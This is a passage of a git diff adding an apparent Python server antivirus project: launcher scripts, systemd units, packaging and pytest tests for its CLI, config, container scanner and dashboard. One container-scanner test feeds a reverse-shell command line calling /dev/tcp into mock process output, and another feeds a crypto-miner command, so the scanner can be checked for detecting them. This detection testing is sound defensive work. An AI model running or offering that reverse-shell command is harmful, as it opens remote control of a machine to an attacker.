logging.INFO) + + root = logging.getLogger("ayn_antivirus") + root.setLevel(level) + + # Avoid duplicate handlers on repeated calls. + if root.handlers: + return root + + formatter = logging.Formatter(_LOG_FORMAT, datefmt=_DATE_FORMAT) + + # --- Rotating file handler --- + log_path = Path(log_dir) + try: + log_path.mkdir(parents=True, exist_ok=True) + fh = RotatingFileHandler( + str(log_path / filename), + maxBytes=_MAX_BYTES, + backupCount=_BACKUP_COUNT, + encoding="utf-8", + ) + fh.setLevel(level) + fh.setFormatter(formatter) + root.addHandler(fh) + except OSError: + # If we can't write to the log dir, fall back to console only. + pass + + # --- Console handler --- + if console: + ch = logging.StreamHandler(sys.stderr) + ch.setLevel(level) + ch.setFormatter(formatter) + root.addHandler(ch) + + return root + + +def get_logger(name: str) -> logging.Logger: + """Return a child logger under the ``ayn_antivirus`` namespace. + + Example:: + + logger = get_logger("scanners.file") + # → logging.getLogger("ayn_antivirus.scanners.file") + """ + return logging.getLogger(f"ayn_antivirus.{name}") diff --git a/ayn-antivirus/bin/run-dashboard.sh b/ayn-antivirus/bin/run-dashboard.sh new file mode 100755 index 0000000..8035f4b --- /dev/null +++ b/ayn-antivirus/bin/run-dashboard.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Dashboard Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +c = Config() +c.dashboard_host = '0.0.0.0' +c.dashboard_port = 7777 +c.dashboard_db_path = os.path.join(data_dir, 'dashboard.db') +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +DashboardServer(c).run() +" diff --git a/ayn-antivirus/bin/run-scanner.sh b/ayn-antivirus/bin/run-scanner.sh new file mode 100755 index 0000000..595929e --- /dev/null +++ b/ayn-antivirus/bin/run-scanner.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# AYN Antivirus Scanner Daemon Launcher (for launchd/systemd) +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)" +DATA_DIR="${AYN_DATA_DIR:-$HOME/ayn-antivirus-data}" + +mkdir -p "$DATA_DIR" "$DATA_DIR/quarantine" "$DATA_DIR/logs" + +export PYTHONPATH="$SCRIPT_DIR:${PYTHONPATH:-}" + +exec /usr/bin/python3 -c " +import os +data_dir = os.environ.get('AYN_DATA_DIR', os.path.expanduser('~/ayn-antivirus-data')) +os.makedirs(data_dir, exist_ok=True) +from ayn_antivirus.config import Config +from ayn_antivirus.core.scheduler import Scheduler +c = Config() +c.db_path = os.path.join(data_dir, 'signatures.db') +c.quarantine_path = os.path.join(data_dir, 'quarantine') +s = Scheduler(c) +s.schedule_scan('0 0 * * *', 'full') +s.schedule_update(interval_hours=6) +s.run_daemon() +" diff --git a/ayn-antivirus/config/ayn-antivirus-dashboard.service b/ayn-antivirus/config/ayn-antivirus-dashboard.service new file mode 100644 index 0000000..0c0806b --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-dashboard.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Security Dashboard +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-dashboard.sh +Restart=always +RestartSec=5 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/config/ayn-antivirus-scanner.service b/ayn-antivirus/config/ayn-antivirus-scanner.service new file mode 100644 index 0000000..1894551 --- /dev/null +++ b/ayn-antivirus/config/ayn-antivirus-scanner.service @@ -0,0 +1,20 @@ +[Unit] +Description=AYN Antivirus Scanner Daemon +After=network-online.target +Wants=network-online.target +Documentation=https://github.com/ayn-antivirus + +[Service] +Type=simple +User=root +WorkingDirectory=/opt/ayn-antivirus +ExecStart=/opt/ayn-antivirus/bin/run-scanner.sh +Restart=always +RestartSec=10 +Environment=PYTHONPATH=/opt/ayn-antivirus +Environment=AYN_DATA_DIR=/var/lib/ayn-antivirus +StandardOutput=journal +StandardError=journal + +[Install] +WantedBy=multi-user.target diff --git a/ayn-antivirus/pyproject.toml b/ayn-antivirus/pyproject.toml new file mode 100644 index 0000000..2d8fc52 --- /dev/null +++ b/ayn-antivirus/pyproject.toml @@ -0,0 +1,45 @@ +[build-system] +requires = ["setuptools>=68.0", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "ayn-antivirus" +version = "1.0.0" +description = "Comprehensive server antivirus, anti-malware, anti-spyware, and anti-cryptominer tool" +requires-python = ">=3.9" +dependencies = [ + "click", + "rich", + "psutil", + "yara-python", + "requests", + "pyyaml", + "schedule", + "watchdog", + "cryptography", + "aiohttp", + "sqlite-utils", +] + +[project.scripts] +ayn-antivirus = "ayn_antivirus.cli:main" + +[tool.setuptools.packages.find] +include = ["ayn_antivirus*"] + +[project.optional-dependencies] +dev = [ + "pytest", + "pytest-cov", + "black", + "ruff", +] + +[tool.black] +line-length = 100 + +[tool.ruff] +line-length = 100 + +[tool.pytest.ini_options] +testpaths = ["tests"] diff --git a/ayn-antivirus/start-dashboard.sh b/ayn-antivirus/start-dashboard.sh new file mode 100755 index 0000000..ec62da7 --- /dev/null +++ b/ayn-antivirus/start-dashboard.sh @@ -0,0 +1,39 @@ +#!/bin/bash +# ============================================= +# ⚔️ AYN Antivirus — Dashboard Launcher +# ============================================= +set -e + +cd "$(dirname "$0")" + +# Install deps if needed +if ! python3 -c "import aiohttp" 2>/dev/null; then + echo "[*] Installing dependencies..." + pip3 install -e . 2>&1 | tail -3 +fi + +# Create data dirs +mkdir -p /var/lib/ayn-antivirus /var/log/ayn-antivirus 2>/dev/null || true + +# Get server IP +SERVER_IP=$(hostname -I 2>/dev/null | awk '{print $1}' || echo "0.0.0.0") + +echo "" +echo " ╔══════════════════════════════════════════╗" +echo " ║ ⚔️ AYN ANTIVIRUS DASHBOARD ║" +echo " ╠══════════════════════════════════════════╣" +echo " ║ 🌐 http://${SERVER_IP}:7777 " +echo " ║ 🔑 API key shown below on first start ║" +echo " ║ Press Ctrl+C to stop ║" +echo " ╚══════════════════════════════════════════╝" +echo "" + +exec python3 -c " +from ayn_antivirus.config import Config +from ayn_antivirus.dashboard.server import DashboardServer +config = Config() +config.dashboard_host = '0.0.0.0' +config.dashboard_port = 7777 +server = DashboardServer(config) +server.run() +" diff --git a/ayn-antivirus/tests/__init__.py b/ayn-antivirus/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/tests/test_cli.py b/ayn-antivirus/tests/test_cli.py new file mode 100644 index 0000000..b76d68e --- /dev/null +++ b/ayn-antivirus/tests/test_cli.py @@ -0,0 +1,88 @@ +"""Tests for CLI commands using Click CliRunner.""" +import pytest +from click.testing import CliRunner +from ayn_antivirus.cli import main + + +@pytest.fixture +def runner(): + return CliRunner() + + +def test_help(runner): + result = runner.invoke(main, ["--help"]) + assert result.exit_code == 0 + assert "AYN Antivirus" in result.output or "scan" in result.output + + +def test_version(runner): + result = runner.invoke(main, ["--version"]) + assert result.exit_code == 0 + assert "1.0.0" in result.output + + +def test_scan_help(runner): + result = runner.invoke(main, ["scan", "--help"]) + assert result.exit_code == 0 + assert "--path" in result.output + + +def test_scan_containers_help(runner): + result = runner.invoke(main, ["scan-containers", "--help"]) + assert result.exit_code == 0 + assert "--runtime" in result.output + + +def test_dashboard_help(runner): + result = runner.invoke(main, ["dashboard", "--help"]) + assert result.exit_code == 0 + assert "--port" in result.output + + +def test_status(runner): + result = runner.invoke(main, ["status"]) + assert result.exit_code == 0 + + +def test_config_show(runner): + result = runner.invoke(main, ["config", "--show"]) + assert result.exit_code == 0 + + +def test_config_set_invalid_key(runner): + result = runner.invoke(main, ["config", "--set", "evil_key", "value"]) + assert "Invalid config key" in result.output + + +def test_quarantine_list(runner): + # May fail with PermissionError on systems without /var/lib/ayn-antivirus + result = runner.invoke(main, ["quarantine", "list"]) + # Accept exit code 0 (success) or 1 (permission denied on default path) + assert result.exit_code in (0, 1) + + +def test_update_help(runner): + result = runner.invoke(main, ["update", "--help"]) + assert result.exit_code == 0 + + +def test_fix_help(runner): + result = runner.invoke(main, ["fix", "--help"]) + assert result.exit_code == 0 + assert "--dry-run" in result.output + + +def test_report_help(runner): + result = runner.invoke(main, ["report", "--help"]) + assert result.exit_code == 0 + assert "--format" in result.output + + +def test_scan_processes_runs(runner): + result = runner.invoke(main, ["scan-processes"]) + assert result.exit_code == 0 + + +def test_scan_network_runs(runner): + result = runner.invoke(main, ["scan-network"]) + assert result.exit_code == 0 diff --git a/ayn-antivirus/tests/test_config.py b/ayn-antivirus/tests/test_config.py new file mode 100644 index 0000000..3b2b0f5 --- /dev/null +++ b/ayn-antivirus/tests/test_config.py @@ -0,0 +1,88 @@ +"""Tests for configuration loading and environment overrides.""" +import pytest + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DASHBOARD_HOST, DEFAULT_DASHBOARD_PORT + + +def test_default_config(): + c = Config() + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert c.dashboard_host == DEFAULT_DASHBOARD_HOST + assert c.auto_quarantine is False + assert c.enable_yara is True + assert c.enable_heuristics is True + assert isinstance(c.scan_paths, list) + assert isinstance(c.exclude_paths, list) + assert isinstance(c.api_keys, dict) + + +def test_config_env_port_host(monkeypatch): + monkeypatch.setenv("AYN_DASHBOARD_PORT", "9999") + monkeypatch.setenv("AYN_DASHBOARD_HOST", "127.0.0.1") + c = Config() + c._apply_env_overrides() + assert c.dashboard_port == 9999 + assert c.dashboard_host == "127.0.0.1" + + +def test_config_env_auto_quarantine(monkeypatch): + monkeypatch.setenv("AYN_AUTO_QUARANTINE", "true") + c = Config() + c._apply_env_overrides() + assert c.auto_quarantine is True + + +def test_config_scan_path_env(monkeypatch): + monkeypatch.setenv("AYN_SCAN_PATH", "/tmp,/var") + c = Config() + c._apply_env_overrides() + assert "/tmp" in c.scan_paths + assert "/var" in c.scan_paths + + +def test_config_max_file_size_env(monkeypatch): + monkeypatch.setenv("AYN_MAX_FILE_SIZE", "12345") + c = Config() + c._apply_env_overrides() + assert c.max_file_size == 12345 + + +def test_config_load_missing_file(): + """Loading from non-existent file returns defaults.""" + c = Config.load("/nonexistent/path/config.yaml") + assert c.dashboard_port == DEFAULT_DASHBOARD_PORT + assert isinstance(c.scan_paths, list) + + +def test_config_load_yaml(tmp_path): + """Loading a valid YAML config file picks up values.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text( + "scan_paths:\n - /opt\nauto_quarantine: true\ndashboard_port: 8888\n" + ) + c = Config.load(str(cfg_file)) + assert c.scan_paths == ["/opt"] + assert c.auto_quarantine is True + assert c.dashboard_port == 8888 + + +def test_config_env_overrides_yaml(tmp_path, monkeypatch): + """Environment variables take precedence over YAML.""" + cfg_file = tmp_path / "config.yaml" + cfg_file.write_text("dashboard_port: 1111\n") + monkeypatch.setenv("AYN_DASHBOARD_PORT", "2222") + c = Config.load(str(cfg_file)) + assert c.dashboard_port == 2222 + + +def test_all_fields_accessible(): + """Every expected config attribute exists.""" + c = Config() + for attr in [ + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", "api_keys", + ]: + assert hasattr(c, attr), f"Missing config attribute: {attr}" diff --git a/ayn-antivirus/tests/test_container_scanner.py b/ayn-antivirus/tests/test_container_scanner.py new file mode 100644 index 0000000..406ee7f --- /dev/null +++ b/ayn-antivirus/tests/test_container_scanner.py @@ -0,0 +1,405 @@ +"""Tests for the container scanner module.""" + +from __future__ import annotations + +import json +from unittest.mock import patch + +import pytest + +from ayn_antivirus.scanners.container_scanner import ( + ContainerInfo, + ContainerScanResult, + ContainerScanner, + ContainerThreat, +) + + +# --------------------------------------------------------------------------- +# Data class tests +# --------------------------------------------------------------------------- + +class TestContainerInfo: + def test_defaults(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx", + status="running", runtime="docker", created="2026-01-01", + ) + assert ci.ports == [] + assert ci.mounts == [] + assert ci.pid == 0 + assert ci.ip_address == "" + assert ci.labels == {} + + def test_to_dict(self): + ci = ContainerInfo( + container_id="abc", name="web", image="nginx:1.25", + status="running", runtime="docker", created="2026-01-01", + ports=["80:80"], mounts=["/data"], pid=42, + ip_address="10.0.0.2", labels={"env": "prod"}, + ) + d = ci.to_dict() + assert d["container_id"] == "abc" + assert d["ports"] == ["80:80"] + assert d["labels"] == {"env": "prod"} + + +class TestContainerThreat: + def test_to_dict(self): + ct = ContainerThreat( + container_id="abc", container_name="web", runtime="docker", + threat_name="Miner.X", threat_type="miner", + severity="CRITICAL", details="found xmrig", + ) + d = ct.to_dict() + assert d["threat_name"] == "Miner.X" + assert d["severity"] == "CRITICAL" + assert len(d["timestamp"]) == 19 + + def test_optional_fields(self): + ct = ContainerThreat( + container_id="x", container_name="y", runtime="podman", + threat_name="T", threat_type="malware", severity="HIGH", + details="d", file_path="/tmp/bad", process_name="evil", + ) + d = ct.to_dict() + assert d["file_path"] == "/tmp/bad" + assert d["process_name"] == "evil" + + +class TestContainerScanResult: + def test_empty_is_clean(self): + r = ContainerScanResult(scan_id="t", start_time="2026-01-01 00:00:00") + assert r.is_clean is True + assert r.duration_seconds == 0.0 + + def test_with_threats(self): + ct = ContainerThreat( + container_id="a", container_name="b", runtime="docker", + threat_name="T", threat_type="miner", severity="HIGH", + details="d", + ) + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:10", + threats=[ct], + ) + assert r.is_clean is False + assert r.duration_seconds == 10.0 + + def test_to_dict(self): + r = ContainerScanResult( + scan_id="t", + start_time="2026-01-01 00:00:00", + end_time="2026-01-01 00:00:03", + containers_found=2, + containers_scanned=1, + errors=["oops"], + ) + d = r.to_dict() + assert d["threats_found"] == 0 + assert d["duration_seconds"] == 3.0 + assert d["errors"] == ["oops"] + + +# --------------------------------------------------------------------------- +# Scanner tests +# --------------------------------------------------------------------------- + +class TestContainerScanner: + def test_properties(self): + s = ContainerScanner() + assert s.name == "container_scanner" + assert "Docker" in s.description + assert isinstance(s.available_runtimes, list) + + def test_no_runtimes_graceful(self): + """With no runtimes installed scan returns an error, not an exception.""" + s = ContainerScanner() + s._available_runtimes = [] + s._docker_cmd = None + s._podman_cmd = None + s._lxc_cmd = None + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.containers_found == 0 + assert len(r.errors) == 1 + assert "No container runtimes" in r.errors[0] + + def test_scan_returns_result(self): + s = ContainerScanner() + r = s.scan("all") + assert isinstance(r, ContainerScanResult) + assert r.scan_id + assert r.start_time + assert r.end_time + + def test_scan_container_delegates(self): + s = ContainerScanner() + s._available_runtimes = [] + r = s.scan_container("some-id") + assert isinstance(r, ContainerScanResult) + + def test_run_cmd_timeout(self): + _, stderr, rc = ContainerScanner._run_cmd(["sleep", "10"], timeout=1) + assert rc == -1 + assert "timed out" in stderr.lower() + + def test_run_cmd_not_found(self): + _, stderr, rc = ContainerScanner._run_cmd( + ["this_command_does_not_exist_xyz"], + ) + assert rc == -1 + assert "not found" in stderr.lower() or "No such file" in stderr + + def test_find_command(self): + # python3 should exist everywhere + assert ContainerScanner._find_command("python3") is not None + assert ContainerScanner._find_command("no_such_binary_xyz") is None + + +# --------------------------------------------------------------------------- +# Mock-based integration tests +# --------------------------------------------------------------------------- + +class TestDockerParsing: + """Test Docker output parsing with mocked subprocess calls.""" + + def _make_scanner(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + s._available_runtimes = ["docker"] + return s + + def test_list_docker_parses_output(self): + ps_output = ( + "abc123456789\tweb\tnginx:1.25\tUp 2 hours\t" + "2026-01-01 00:00:00\t0.0.0.0:80->80/tcp" + ) + inspect_output = json.dumps([{ + "State": {"Pid": 42}, + "NetworkSettings": {"Networks": {"bridge": {"IPAddress": "172.17.0.2"}}}, + "Mounts": [{"Source": "/data"}], + "Config": {"Labels": {"app": "web"}}, + }]) + s = self._make_scanner() + with patch.object(s, "_run_cmd") as mock_run: + mock_run.side_effect = [ + (ps_output, "", 0), # docker ps + (inspect_output, "", 0), # docker inspect + ] + containers = s._list_docker() + + assert len(containers) == 1 + c = containers[0] + assert c.name == "web" + assert c.image == "nginx:1.25" + assert c.status == "running" + assert c.runtime == "docker" + assert c.pid == 42 + assert c.ip_address == "172.17.0.2" + assert "/data" in c.mounts + assert c.labels == {"app": "web"} + + def test_list_docker_ps_failure(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("", "error", 1)): + assert s._list_docker() == [] + + def test_inspect_docker_bad_json(self): + s = self._make_scanner() + with patch.object(s, "_run_cmd", return_value=("not json", "", 0)): + assert s._inspect_docker("abc") == {} + + +class TestPodmanParsing: + def test_list_podman_parses_json(self): + s = ContainerScanner() + s._podman_cmd = "/usr/bin/podman" + s._available_runtimes = ["podman"] + podman_output = json.dumps([{ + "Id": "def456789012abcdef", + "Names": ["db"], + "Image": "postgres:16", + "State": "running", + "Created": "2026-01-01", + "Ports": [{"hostPort": 5432, "containerPort": 5432}], + "Pid": 99, + "Labels": {}, + }]) + with patch.object(s, "_run_cmd", return_value=(podman_output, "", 0)): + containers = s._list_podman() + assert len(containers) == 1 + assert containers[0].name == "db" + assert containers[0].runtime == "podman" + assert containers[0].pid == 99 + + +class TestLXCParsing: + def test_list_lxc_parses_output(self): + s = ContainerScanner() + s._lxc_cmd = "/usr/bin/lxc-ls" + s._available_runtimes = ["lxc"] + lxc_output = "NAME STATE IPV4 PID\ntest1 RUNNING 10.0.3.5 1234" + with patch.object(s, "_run_cmd", return_value=(lxc_output, "", 0)): + containers = s._list_lxc() + assert len(containers) == 1 + assert containers[0].name == "test1" + assert containers[0].status == "running" + assert containers[0].ip_address == "10.0.3.5" + assert containers[0].pid == 1234 + + +class TestMisconfigDetection: + """Test misconfiguration detection with mocked inspect output.""" + + def _scan_misconfig(self, inspect_data): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + with patch.object(s, "_run_cmd", return_value=(json.dumps([inspect_data]), "", 0)): + return s._check_misconfigurations(ci) + + def test_privileged_mode(self): + threats = self._scan_misconfig({ + "HostConfig": {"Privileged": True}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "PrivilegedMode.Container" in names + + def test_root_user(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": ""}, + }) + names = [t.threat_name for t in threats] + assert "RunAsRoot.Container" in names + + def test_host_network(self): + threats = self._scan_misconfig({ + "HostConfig": {"NetworkMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostNetwork.Container" in names + + def test_host_pid(self): + threats = self._scan_misconfig({ + "HostConfig": {"PidMode": "host"}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "HostPID.Container" in names + + def test_dangerous_caps(self): + threats = self._scan_misconfig({ + "HostConfig": {"CapAdd": ["SYS_ADMIN", "NET_RAW"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "DangerousCap.Container.SYS_ADMIN" in names + assert "DangerousCap.Container.NET_RAW" in names + + def test_sensitive_mount(self): + threats = self._scan_misconfig({ + "HostConfig": {}, + "Config": {"User": "app"}, + "Mounts": [{"Source": "/var/run/docker.sock", "Destination": "/var/run/docker.sock"}], + }) + names = [t.threat_name for t in threats] + assert "SensitiveMount.Container" in names + + def test_no_resource_limits(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 0, "CpuQuota": 0}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "NoResourceLimits.Container" in names + + def test_security_disabled(self): + threats = self._scan_misconfig({ + "HostConfig": {"SecurityOpt": ["seccomp=unconfined"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "SecurityDisabled.Container" in names + + def test_clean_config(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 512000000, "CpuQuota": 50000}, + "Config": {"User": "app"}, + }) + # Should have no misconfig threats + assert len(threats) == 0 + + +class TestImageCheck: + def test_latest_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:latest", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_no_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_pinned_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:1.25.3", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert len(threats) == 0 + + +class TestProcessDetection: + def _make_scanner_and_container(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + return s, ci + + def test_miner_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 95.0 8.0 123456 65432 ? Sl 00:00 1:23 /usr/bin/xmrig --pool pool.example.com" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("CryptoMiner" in n for n in names) + + def test_reverse_shell_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 0.1 0.0 1234 432 ? S 00:00 0:00 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("ReverseShell" in n for n in names) + + def test_stopped_container_skipped(self): + s, ci = self._make_scanner_and_container() + ci.status = "stopped" + # _get_exec_prefix returns None for stopped containers + threats = s._check_processes(ci) + assert threats == [] diff --git a/ayn-antivirus/tests/test_dashboard_api.py b/ayn-antivirus/tests/test_dashboard_api.py new file mode 100644 index 0000000..f255917 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_api.py @@ -0,0 +1,119 @@ +"""Tests for dashboard API endpoints.""" +import pytest +from aiohttp import web +from ayn_antivirus.dashboard.api import setup_routes, _safe_int +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.collector import MetricsCollector + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_api.db")) + yield s + s.close() + + +@pytest.fixture +def app(store, tmp_path): + application = web.Application() + application["store"] = store + application["collector"] = MetricsCollector(store, interval=9999) + from ayn_antivirus.config import Config + cfg = Config() + cfg.db_path = str(tmp_path / "sigs.db") + application["config"] = cfg + setup_routes(application) + return application + + +# ------------------------------------------------------------------ +# _safe_int unit tests +# ------------------------------------------------------------------ + +def test_safe_int_valid(): + assert _safe_int("50", 10) == 50 + assert _safe_int("0", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=100) == 100 + + +def test_safe_int_invalid(): + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + + +# ------------------------------------------------------------------ +# API endpoint tests (async, require aiohttp_client) +# ------------------------------------------------------------------ + +@pytest.mark.asyncio +async def test_health_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/health") + assert resp.status == 200 + data = await resp.json() + assert "cpu_percent" in data + + +@pytest.mark.asyncio +async def test_status_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/status") + assert resp.status == 200 + data = await resp.json() + assert "hostname" in data + + +@pytest.mark.asyncio +async def test_threats_endpoint(app, store, aiohttp_client): + store.record_threat("/tmp/evil", "TestVirus", "malware", "HIGH") + client = await aiohttp_client(app) + resp = await client.get("/api/threats") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_scans_endpoint(app, store, aiohttp_client): + store.record_scan("quick", "/tmp", 100, 5, 0, 2.5) + client = await aiohttp_client(app) + resp = await client.get("/api/scans") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_logs_endpoint(app, store, aiohttp_client): + store.log_activity("Test log", "INFO", "test") + client = await aiohttp_client(app) + resp = await client.get("/api/logs") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_containers_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/containers") + assert resp.status == 200 + data = await resp.json() + assert "runtimes" in data + + +@pytest.mark.asyncio +async def test_definitions_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/definitions") + assert resp.status == 200 + data = await resp.json() + assert "total_hashes" in data + + +@pytest.mark.asyncio +async def test_invalid_query_params(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/threats?limit=abc") + assert resp.status == 200 # Should not crash, uses default diff --git a/ayn-antivirus/tests/test_dashboard_store.py b/ayn-antivirus/tests/test_dashboard_store.py new file mode 100644 index 0000000..2be3e25 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_store.py @@ -0,0 +1,148 @@ +"""Tests for dashboard store.""" +import threading + +import pytest + +from ayn_antivirus.dashboard.store import DashboardStore + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_dashboard.db")) + yield s + s.close() + + +def test_record_and_get_metrics(store): + store.record_metric( + cpu=50.0, mem_pct=60.0, mem_used=4000, mem_total=8000, + disk_usage=[{"mount": "/", "percent": 50}], + load_avg=[1.0, 0.5, 0.3], net_conns=10, + ) + latest = store.get_latest_metrics() + assert latest is not None + assert latest["cpu_percent"] == 50.0 + assert latest["mem_percent"] == 60.0 + assert latest["disk_usage"] == [{"mount": "/", "percent": 50}] + assert latest["load_avg"] == [1.0, 0.5, 0.3] + + +def test_record_and_get_threats(store): + store.record_threat( + "/tmp/evil", "TestVirus", "malware", "HIGH", + "test_det", "abc", "quarantined", "test detail", + ) + threats = store.get_recent_threats(10) + assert len(threats) == 1 + assert threats[0]["threat_name"] == "TestVirus" + assert threats[0]["action_taken"] == "quarantined" + + +def test_threat_stats(store): + store.record_threat("/a", "V1", "malware", "CRITICAL", "d", "", "detected", "") + store.record_threat("/b", "V2", "miner", "HIGH", "d", "", "killed", "") + store.record_threat("/c", "V3", "spyware", "MEDIUM", "d", "", "detected", "") + stats = store.get_threat_stats() + assert stats["total"] == 3 + assert stats["by_severity"]["CRITICAL"] == 1 + assert stats["by_severity"]["HIGH"] == 1 + assert stats["by_severity"]["MEDIUM"] == 1 + assert stats["last_24h"] == 3 + assert stats["last_7d"] == 3 + + +def test_record_and_get_scans(store): + store.record_scan("full", "/", 1000, 50, 2, 10.5) + scans = store.get_recent_scans(10) + assert len(scans) == 1 + assert scans[0]["files_scanned"] == 1000 + assert scans[0]["scan_type"] == "full" + assert scans[0]["status"] == "completed" + + +def test_scan_chart_data(store): + store.record_scan("full", "/", 100, 5, 1, 5.0) + data = store.get_scan_chart_data(30) + assert len(data) >= 1 + row = data[0] + assert "day" in row + assert "scans" in row + assert "threats" in row + + +def test_sig_updates(store): + store.record_sig_update("malwarebazaar", hashes=100, ips=50, domains=20, urls=10) + updates = store.get_recent_sig_updates(10) + assert len(updates) == 1 + assert updates[0]["feed_name"] == "malwarebazaar" + stats = store.get_sig_stats() + assert stats["total_hashes"] == 100 + assert stats["total_ips"] == 50 + assert stats["total_domains"] == 20 + assert stats["total_urls"] == 10 + + +def test_activity_log(store): + store.log_activity("Test message", "INFO", "test") + logs = store.get_recent_logs(10) + assert len(logs) == 1 + assert logs[0]["message"] == "Test message" + assert logs[0]["level"] == "INFO" + assert logs[0]["source"] == "test" + + +def test_metrics_history(store): + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[0.1], net_conns=5, + ) + store.record_metric( + cpu=20, mem_pct=30, mem_used=2000, mem_total=8000, + disk_usage=[], load_avg=[0.2], net_conns=10, + ) + history = store.get_metrics_history(hours=1) + assert len(history) == 2 + assert history[0]["cpu_percent"] == 10 + assert history[1]["cpu_percent"] == 20 + + +def test_cleanup_retains_fresh(store): + """Cleanup with 0 hours should not delete just-inserted metrics.""" + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[], net_conns=0, + ) + store.cleanup_old_metrics(hours=0) + assert store.get_latest_metrics() is not None + + +def test_empty_store_returns_none(store): + """Empty store returns None / empty lists gracefully.""" + assert store.get_latest_metrics() is None + assert store.get_recent_threats(10) == [] + assert store.get_recent_scans(10) == [] + assert store.get_recent_logs(10) == [] + stats = store.get_threat_stats() + assert stats["total"] == 0 + + +def 